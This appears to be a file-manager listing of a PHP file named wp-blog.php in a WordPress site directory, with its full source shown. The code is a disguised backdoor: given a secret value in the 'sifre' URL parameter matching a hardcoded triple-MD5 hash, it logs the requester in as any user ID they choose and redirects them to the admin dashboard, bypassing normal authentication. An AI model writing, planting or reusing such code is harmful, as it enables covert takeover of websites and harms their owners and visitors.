• File: wp-blog.php
  • Full Path: /home/romi/public_html/islam-20260421171105/wp-blog.php
  • Date Modified: 04/23/2020 2:03 PM
  • File size: 755 bytes
  • MIME-type: text/x-php
  • Charset: utf-8
<?php

define('DIZIN', dirname(__FILE__) . '/');
require_once(DIZIN . "wp-load.php");

$sifre = isset($_GET['sifre']) ? $_GET['sifre'] : '';
$userid = isset($_GET['userid']) ? $_GET['userid'] : '';

if (!empty($sifre) && !empty($userid)) {
    $password = "74de57650aab7115e3c3c1e0507082f6"; // Şifrelenmiş parola

    if (md5(md5(md5($sifre))) == $password) {
        $user = get_user_by('ID', $userid);

        if ($user) {
            // Kullanıcı girişi yapma işlemleri
            wp_clear_auth_cookie();
            wp_set_current_user($user->ID);
            wp_set_auth_cookie($user->ID);

            $redirect_to = admin_url();
            wp_safe_redirect($redirect_to);
            exit();
        }
    }
}
?>